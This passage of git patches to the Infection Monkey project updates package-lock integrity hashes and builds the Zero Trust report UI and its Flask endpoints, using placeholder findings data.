"sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==" }, "json5": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", - "integrity": "sha1-d5+wAYYE+oVOrL9iUhgNg1Q+Pb4=", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", "requires": { "minimist": "^1.2.0" } @@ -15268,7 +15231,7 @@ "loader-utils": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz", - "integrity": "sha1-H/XcaRHJ8KBiUxpMBLYJQGEIwsc=", + "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==", "requires": { "big.js": "^5.2.2", "emojis-list": "^2.0.0", @@ -15283,7 +15246,7 @@ "semver": { "version": "5.7.0", "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.0.tgz", - "integrity": "sha1-eQp89v6lRZuslhELKbYEEtyP+Ws=" + "integrity": "sha512-Ya52jSX2u7QKghxeoFGpLwCtGlt7j0oY9DYb5apt9nPlJ42ID+ulTXESnt/qAQcoSERyZ5sl3LDIOw0nAn/5DA==" } } }, @@ -15525,7 +15488,7 @@ "shallow-clone": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-1.0.0.tgz", - "integrity": "sha1-RIDNBuiC72iyrYij6lSDLixItXE=", + "integrity": "sha512-oeXreoKR/SyNJtRJMAKPDSvd28OqEwG4eR/xc856cRGBII7gX9lvAqDxusPm0846z/w/hWYjI1NpKwJ00NHzRA==", "requires": { "is-extendable": "^0.1.1", "kind-of": "^5.0.0", @@ -15535,7 +15498,7 @@ "kind-of": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha1-cpyR4thXt6QZofmqZWhcTDP1hF0=" + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==" } } }, @@ -16027,7 +15990,7 @@ "stdout-stream": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz", - "integrity": "sha1-WsF0zdXNcmEEqgwLK9g4FdjVNd4=", + "integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==", "requires": { "readable-stream": "^2.0.1" }, @@ -16040,12 +16003,12 @@ "process-nextick-args": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha1-o31zL0JxtKsa0HDTVQjoKQeI/6o=" + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==" }, "readable-stream": { "version": "2.3.6", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", - "integrity": "sha1-sRwn2IuP8fvgcGQ8+UsMea4bCq8=", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -16059,7 +16022,7 @@ "string_decoder": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "requires": { "safe-buffer": "~5.1.0" } @@ -16397,7 +16360,7 @@ "tar": { "version": "2.2.2", "resolved": "https://registry.npmjs.org/tar/-/tar-2.2.2.tgz", - "integrity": "sha1-DKiEhWLHKZuLRG/2pNYM27I+3EA=", + "integrity": "sha512-FCEhQ/4rE1zYv9rYXJw/msRqsnmlje5jHP6huWeBZ704jUTy02c5AZyWujpMR1ax6mVw9NyJMfuK2CMDWVIfgA==", "requires": { "block-stream": "*", "fstream": "^1.0.12", @@ -16588,7 +16551,7 @@ "true-case-path": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz", - "integrity": "sha1-+BO1qMhrQNpZYGcisUTjIleZ9H0=", + "integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==", "requires": { "glob": "^7.1.2" } @@ -17069,7 +17032,7 @@ "value-equal": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-0.4.0.tgz", - "integrity": "sha1-xb3S9U7gk8BIOdcc4uR1imiQq8c=" + "integrity": "sha512-x+cYdNnaA3CxvMaTX0INdTCN8m8aF2uY9BvEqmxuYp8bL09cs/kWVQPVGcA35fMktdOsP69IgU7wFj/61dJHEw==" }, "vary": { "version": "1.1.2", @@ -19045,8 +19008,7 @@ "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "aproba": { "version": "1.2.0", @@ -19089,8 +19051,7 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "concat-map": { "version": "0.0.1", @@ -19101,8 +19062,7 @@ "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "core-util-is": { "version": "1.0.2", @@ -19219,8 +19179,7 @@ "inherits": { "version": "2.0.3", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "ini": { "version": "1.3.5", @@ -19232,7 +19191,6 @@ "version": "1.0.0", "bundled": true, "dev": true, - "optional": true, "requires": { "number-is-nan": "^1.0.0" } @@ -19247,7 +19205,6 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { "brace-expansion": "1.1.11" } @@ -19255,14 +19212,12 @@ "minimist": { "version": "0.0.8", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "minipass": { "version": "2.2.4", "bundled": true, "dev": true, - "optional": true, "requires": { "safe-buffer": "^5.1.1", "yallist": "^3.0.0" @@ -19281,7 +19236,6 @@ "version": "0.5.1", "bundled": true, "dev": true, - "optional": true, "requires": { "minimist": "0.0.8" } @@ -19362,8 +19316,7 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "object-assign": { "version": "4.1.1", @@ -19375,7 +19328,6 @@ "version": "1.4.0", "bundled": true, "dev": true, - "optional": true, "requires": { "wrappy": "1" } @@ -19461,8 +19413,7 @@ "safe-buffer": { "version": "5.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "safer-buffer": { "version": "2.1.2", @@ -19498,7 +19449,6 @@ "version": "1.0.2", "bundled": true, "dev": true, - "optional": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -19518,7 +19468,6 @@ "version": "3.0.1", "bundled": true, "dev": true, - "optional": true, "requires": { "ansi-regex": "^2.0.0" } @@ -19562,14 +19511,12 @@ "wrappy": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "yallist": { "version": "3.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true } } }, @@ -19979,7 +19926,7 @@ "whatwg-fetch": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.0.0.tgz", - "integrity": "sha1-/IBORYzEYACbGiuWa8iBfSV4rvs=" + "integrity": "sha512-9GSJUgz1D4MfyKU7KRqwOjXCXTqWdFNvEr7eUBYchQiVc744mqK/MzXPNR2WsPkmkOa4ywfg8C2n8h+13Bey1Q==" }, "which": { "version": "1.3.0", @@ -19998,7 +19945,7 @@ "wide-align": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.3.tgz", - "integrity": "sha1-rgdOa9wMFKQx6ATmJFScYzsABFc=", + "integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==", "requires": { "string-width": "^1.0.2 || 2" } diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index a76541e36..48bc1be31 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -55,6 +55,7 @@ "null-loader": "^0.1.1", "phantomjs-prebuilt": "^2.1.16", "react-addons-test-utils": "^15.6.2", + "react-event-timeline": "^1.6.3", "react-hot-loader": "^4.3.11", "rimraf": "^2.6.2", "style-loader": "^0.22.1", diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 82d90bb7c..40c1b33cd 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -38,8 +38,6 @@ class ZeroTrustReportPageComponent extends AuthComponent { generateReportContent() { let content; - console.log(this.state.report.findings); - if (typeof this.state.report.findings === "undefined") { content = "Still empty"; } else { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js new file mode 100644 index 000000000..19dd7761a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js @@ -0,0 +1,32 @@ +import React, {Component} from "react"; +import {Modal} from "react-bootstrap"; +import {EventsTimeline} from "./EventsTimeline"; + +export class EventsModal extends Component { + constructor(props) { + super(props); + } + + render() { + return ( +
    + this.props.hideCallback()}> + +

    +
    Events
    +

    + + + +
    + +
    +
    +
    +
    + ); + } +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js new file mode 100644 index 000000000..821b6bd00 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js @@ -0,0 +1,18 @@ +import React, {Component} from "react"; +import {Timeline, TimelineEvent} from "react-event-timeline"; + +export class EventsTimeline extends Component { + render() { + return ( +
    + + { + this.props["events"].map(event => ( + {event.message} + )) + } + +
    + ); + } +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js index aa2e325c4..9088c5571 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js @@ -1,38 +1,10 @@ import React, {Component} from "react"; import ReactTable from "react-table"; -import {Button, Modal} from "react-bootstrap"; +import {Button} from "react-bootstrap"; +import {EventsModal} from "./EventsModal"; -class PillarLabel extends Component { - render() { - return {this.props.pillar} - } -} - -class EventsModal extends Component { - constructor(props) { - super(props); - } - - render() { - return ( -
    - this.props.hideCallback()}> - -

    Events

    - -
    {JSON.stringify(this.props.events)}
    - -
    - -
    -
    -
    -
    - ); - } +function PillarLabel(props) { + return {props.pillar} } @@ -86,7 +58,7 @@ const columns = [ }, { Header: 'Events', id:"events", accessor: x => { - return ; + return ; } } ] diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js index 9a551e0a2..20d97a90d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js @@ -14,7 +14,6 @@ export class ZeroTrustReportPillarGrades extends Component { if (this.props.findings !== null) { for (const finding of this.props.findings) { - console.log("finding: " + JSON.stringify(finding)); if (typeof finding === 'object' && finding !== null) { if (finding.hasOwnProperty("pillars") && finding.hasOwnProperty("conclusive")) { for (const pillar of finding["pillars"]) { From 47d37dcdd06812e8941e015408eeed74abe7249f Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 6 Aug 2019 19:19:00 +0300 Subject: [PATCH 054/276] Added title (should be event type) to report data and events timeline --- monkey/monkey_island/cc/resources/reporting/report.py | 5 ++++- .../report-components/zerotrust/EventsTimeline.js | 8 +++++++- 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index 1b2895f8f..55c7766be 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -10,7 +10,7 @@ ZERO_TRUST_REPORT_TYPE = "zero_trust" GENERAL_REPORT_TYPE = "general" REPORT_TYPES = [GENERAL_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE] -__author__ = "itay.mizeretz" +__author__ = ["itay.mizeretz", "shay.nehmad"] class Report(flask_restful.Resource): @@ -30,9 +30,11 @@ class Report(flask_restful.Resource): "events": [ { "timestamp": "2019-08-01 14:48:46.112000", + "title": "Monkey perform an action", "message": "log1" }, { "timestamp": "2019-08-01 14:48:42.112000", + "title": "Analysis", "message": "log2" }] }, @@ -43,6 +45,7 @@ class Report(flask_restful.Resource): "events": [ { "timestamp": "2019-08-01 14:48:46.112000", + "title": "Analysis", "message": "log3" }] } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js index 821b6bd00..441a01636 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js @@ -8,7 +8,13 @@ export class EventsTimeline extends Component { { this.props["events"].map(event => ( - {event.message} + }> + {event.message} + )) } From 9c1abf08a91d85c266a50ed8973b27b40f143f8a Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 7 Aug 2019 11:08:30 +0300 Subject: [PATCH 055/276] Added event type and custom icons per type --- monkey/monkey_island/cc/resources/reporting/report.py | 5 ++++- .../report-components/zerotrust/EventsTimeline.js | 8 +++++++- 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index 55c7766be..3fe8f0fd9 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -30,11 +30,13 @@ class Report(flask_restful.Resource): "events": [ { "timestamp": "2019-08-01 14:48:46.112000", - "title": "Monkey perform an action", + "title": "Monkey performed an action", + "type": "MonkeyAction", "message": "log1" }, { "timestamp": "2019-08-01 14:48:42.112000", "title": "Analysis", + "type": "IslandAction", "message": "log2" }] }, @@ -46,6 +48,7 @@ class Report(flask_restful.Resource): { "timestamp": "2019-08-01 14:48:46.112000", "title": "Analysis", + "type": "MonkeyAction", "message": "log3" }] } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js index 441a01636..ec0842309 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js @@ -1,6 +1,12 @@ import React, {Component} from "react"; import {Timeline, TimelineEvent} from "react-event-timeline"; +const eventTypeToIcon = { + "MonkeyAction": "fa fa-exclamation-circle fa-2x icon-warning", + "IslandAction": "fa fa-server fa-2x icon-info", + null: "fa fa-question-circle fa-2x icon-info", +}; + export class EventsTimeline extends Component { render() { return ( @@ -12,7 +18,7 @@ export class EventsTimeline extends Component { key={event.timestamp} createdAt={event.timestamp} title={event.title} - icon={}> + icon={}> {event.message} )) From 274b861adc5254fa2f3a82eb82c97d14d6332451 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 7 Aug 2019 15:32:31 +0300 Subject: [PATCH 056/276] Refactored ZeroTrust out of the names of all the things --- .../cc/ui/src/components/pages/ZeroTrustReportPage.js | 8 ++++---- .../{ZeroTrustReportFindingsTable.js => FindingsTable.js} | 4 ++-- .../{ZeroTrustReportPillarGrades.js => PillarGrades.js} | 5 ++--- 3 files changed, 8 insertions(+), 9 deletions(-) rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{ZeroTrustReportFindingsTable.js => FindingsTable.js} (95%) rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{ZeroTrustReportPillarGrades.js => PillarGrades.js} (85%) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 40c1b33cd..ec90b625f 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -2,8 +2,8 @@ import React from 'react'; import {Button, Col} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; import ReportHeader, { ReportTypes } from "../report-components/common/ReportHeader"; -import ZeroTrustReportPillarGrades from "../report-components/zerotrust/ZeroTrustReportPillarGrades"; -import ZeroTrustReportFindingsTable from "../report-components/zerotrust/ZeroTrustReportFindingsTable"; +import PillarGrades from "../report-components/zerotrust/PillarGrades"; +import FindingsTable from "../report-components/zerotrust/FindingsTable"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -43,9 +43,9 @@ class ZeroTrustReportPageComponent extends AuthComponent { } else { content =

    Pillars Overview

    - +

    Findings

    - +
    ; } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js similarity index 95% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index 9088c5571..573a70bf0 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -67,7 +67,7 @@ const columns = [ const pageSize = 10; -class ZeroTrustReportFindingsTable extends Component { +class FindingsTable extends Component { render() { let defaultPageSize = this.props.findings.length > pageSize ? pageSize : this.props.findings.length; let showPagination = this.props.findings.length > pageSize; @@ -86,4 +86,4 @@ class ZeroTrustReportFindingsTable extends Component { } -export default ZeroTrustReportFindingsTable; +export default FindingsTable; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js similarity index 85% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js index 20d97a90d..6afe2dd52 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js @@ -1,8 +1,7 @@ import React, {Component} from "react"; import ZeroTrustPillars from "./ZeroTrustPillars"; -import ZeroTrustReportFindingsTable from "./ZeroTrustReportFindingsTable"; -export class ZeroTrustReportPillarGrades extends Component { +export class PillarGrades extends Component { render() { let pillarsCounters = {}; for(const pillar in ZeroTrustPillars) { @@ -41,4 +40,4 @@ export class ZeroTrustReportPillarGrades extends Component { } } -export default ZeroTrustReportPillarGrades; +export default PillarGrades; From bcc12657a45f22275fd0c07716d24bd5f122f89d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 8 Aug 2019 10:28:22 +0300 Subject: [PATCH 057/276] Added export events button --- monkey/monkey_island/cc/ui/package-lock.json | 5 +++++ monkey/monkey_island/cc/ui/package.json | 11 ++++++----- .../report-components/zerotrust/FindingsTable.js | 16 +++++++++++++--- 3 files changed, 24 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 324112f9d..dfccd0ec3 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -5198,6 +5198,11 @@ } } }, + "file-saver": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/file-saver/-/file-saver-2.0.2.tgz", + "integrity": "sha512-Wz3c3XQ5xroCxd1G8b7yL0Ehkf0TC9oYC6buPFkNnU9EnaPlifeAFCyCh+iewXTyFRcg0a6j3J7FmJsIhlhBdw==" + }, "filename-regex": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/filename-regex/-/filename-regex-2.0.1.tgz", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 48bc1be31..1a60ee27c 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -65,12 +65,14 @@ "webpack-dev-server": "^3.1.9" }, "dependencies": { + "@emotion/core": "^10.0.10", "@kunukn/react-collapse": "^1.0.5", - "classnames": "^2.2.6", "bootstrap": "3.4.1", + "classnames": "^2.2.6", "core-js": "^2.5.7", "downloadjs": "^1.4.7", "fetch": "^1.1.0", + "file-saver": "^2.0.2", "filepond": "^4.2.0", "js-file-download": "^0.4.4", "json-loader": "^0.5.7", @@ -85,6 +87,7 @@ "react-bootstrap": "^0.32.4", "react-copy-to-clipboard": "^5.0.1", "react-data-components": "^1.2.0", + "react-desktop-notification": "^1.0.9", "react-dimensions": "^1.3.0", "react-dom": "^16.5.2", "react-fa": "^5.0.0", @@ -94,14 +97,12 @@ "react-jsonschema-form": "^1.0.5", "react-redux": "^5.1.1", "react-router-dom": "^4.3.1", + "react-spinners": "^0.5.4", "react-table": "^6.8.6", "react-toggle": "^4.0.1", "react-tooltip-lite": "^1.9.1", "redux": "^4.0.0", "sass-loader": "^7.1.0", - "sha3": "^2.0.0", - "react-spinners": "^0.5.4", - "@emotion/core": "^10.0.10", - "react-desktop-notification": "^1.0.9" + "sha3": "^2.0.0" } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index 573a70bf0..3b7842b26 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -2,6 +2,7 @@ import React, {Component} from "react"; import ReactTable from "react-table"; import {Button} from "react-bootstrap"; import {EventsModal} from "./EventsModal"; +import FileSaver from "file-saver"; function PillarLabel(props) { return {props.pillar} @@ -28,11 +29,20 @@ class EventsAndButtonComponent extends Component { return (
    -

    - +

    ); @@ -58,7 +68,7 @@ const columns = [ }, { Header: 'Events', id:"events", accessor: x => { - return ; + return ; } } ] From 683e945506856d182f6f26d4fdb405a80c68601e Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 8 Aug 2019 11:56:37 +0300 Subject: [PATCH 058/276] Seperated report into 3 resources (DDR result) --- monkey/monkey_island/cc/app.py | 6 +- .../cc/resources/reporting/report.py | 151 +++++++++++++----- .../components/pages/ZeroTrustReportPage.js | 42 +++-- .../zerotrust/FindingsTable.js | 29 ++-- .../zerotrust/PillarGrades.js | 26 +-- 5 files changed, 168 insertions(+), 86 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 2c778e61b..f2c0e9ce1 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -124,7 +124,11 @@ def init_api_resources(api): api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') # report_type: zero_trust or general - api.add_resource(Report, '/api/report/') + api.add_resource( + Report, + '/api/report/', + '/api/report//') + api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index 3fe8f0fd9..8ae1d8769 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -10,50 +10,129 @@ ZERO_TRUST_REPORT_TYPE = "zero_trust" GENERAL_REPORT_TYPE = "general" REPORT_TYPES = [GENERAL_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE] +REPORT_DATA_PILLARS = "pillars" +REPORT_DATA_FINDINGS = "findings" +REPORT_DATA_TEST_STATUS = "tests" + __author__ = ["itay.mizeretz", "shay.nehmad"] class Report(flask_restful.Resource): @jwt_required() - def get(self, report_type): + def get(self, report_type=GENERAL_REPORT_TYPE, report_data=None): if report_type == GENERAL_REPORT_TYPE: return ReportService.get_report() elif report_type == ZERO_TRUST_REPORT_TYPE: - fakedict = { - "are_all_monkeys_done": False, - "findings": [ - { - "test": "Monkey 8 found a machine with no AV software active.", - "conclusive": False, - "pillars": ["Devices"], - "events": [ - { - "timestamp": "2019-08-01 14:48:46.112000", - "title": "Monkey performed an action", - "type": "MonkeyAction", - "message": "log1" - }, { - "timestamp": "2019-08-01 14:48:42.112000", - "title": "Analysis", - "type": "IslandAction", - "message": "log2" - }] - }, - { - "test": "Monkey 6 successfully exploited machine XXX with shellshock.", - "conclusive": True, - "pillars": ["Devices", "Networks"], - "events": [ - { - "timestamp": "2019-08-01 14:48:46.112000", - "title": "Analysis", - "type": "MonkeyAction", - "message": "log3" - }] - } - ] - } - return jsonify(fakedict) + if report_data == REPORT_DATA_FINDINGS: + return jsonify(get_all_findings()) + elif report_data == REPORT_DATA_PILLARS: + return jsonify(get_pillars_grades()) + elif report_data == REPORT_DATA_TEST_STATUS: + return jsonify(get_tests_status()) flask_restful.abort(httplib.NOT_FOUND) + + +def get_all_findings(): + return [ + { + "test": "Monkey 8 found a machine with no AV software active.", + "conclusive": False, + "pillars": ["Devices"], + "events": [ + { + "timestamp": "2019-08-01 14:48:46.112000", + "title": "Monkey performed an action", + "type": "MonkeyAction", + "message": "log1" + }, { + "timestamp": "2019-08-01 14:48:42.112000", + "title": "Analysis", + "type": "IslandAction", + "message": "log2" + }] + }, + { + "test": "Monkey 6 successfully exploited machine XXX with shellshock.", + "conclusive": True, + "pillars": ["Devices", "Networks"], + "events": [ + { + "timestamp": "2019-08-01 14:48:46.112000", + "title": "Analysis", + "type": "MonkeyAction", + "message": "log3" + }] + } + ] + + +def get_tests_status(): + return [ + { + "Test": "Segmentation", + "Conclusive": 6, + "Inconclusive": 6, + "Positive": 6, + "Unexecuted": False # There were results meaning the test was executed. + }, + { + "Exploit": "network", + "Unexecuted": True # There were no results since the test wasn't executed. + }, + ] + + +def get_pillars_grades(): + return [ + { + "Pillar": "data", + "Conclusive": 6, + "Inconclusive": 6, + "Positive": 6, + "Unexecuted": 6 + }, + { + "Pillar": "network", + "Conclusive": 6, + "Inconclusive": 6, + "Positive": 6, + "Unexecuted": 6 + }, + { + "Pillar": "people", + "Conclusive": 6, + "Inconclusive": 6, + "Positive": 6, + "Unexecuted": 6 + }, + { + "Pillar": "workloads", + "Conclusive": 6, + "Inconclusive": 6, + "Positive": 6, + "Unexecuted": 6 + }, + { + "Pillar": "devices", + "Conclusive": 6, + "Inconclusive": 6, + "Positive": 6, + "Unexecuted": 6 + }, + { + "Pillar": "visibility and analytics", + "Conclusive": 6, + "Inconclusive": 6, + "Positive": 6, + "Unexecuted": 6 + }, + { + "Pillar": "automation and analytics", + "Conclusive": 6, + "Inconclusive": 6, + "Positive": 6, + "Unexecuted": 6 + }, + ] diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index ec90b625f..9d200beac 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -11,9 +11,6 @@ class ZeroTrustReportPageComponent extends AuthComponent { super(props); this.state = { - report: { - findings: undefined - }, allMonkeysAreDead: false, runStarted: false }; @@ -38,14 +35,16 @@ class ZeroTrustReportPageComponent extends AuthComponent { generateReportContent() { let content; - if (typeof this.state.report.findings === "undefined") { + if (typeof this.state.findings === "undefined") { content = "Still empty"; } else { content =

    Pillars Overview

    - + +

    Test Status

    + TODO

    Findings

    - +
    ; } @@ -63,9 +62,15 @@ class ZeroTrustReportPageComponent extends AuthComponent { {content}
    THIS IS THE RAW SERVER DATA -
    -            {JSON.stringify(this.state.report, undefined, 2)}
    -          
    +
    + PILLARS: +
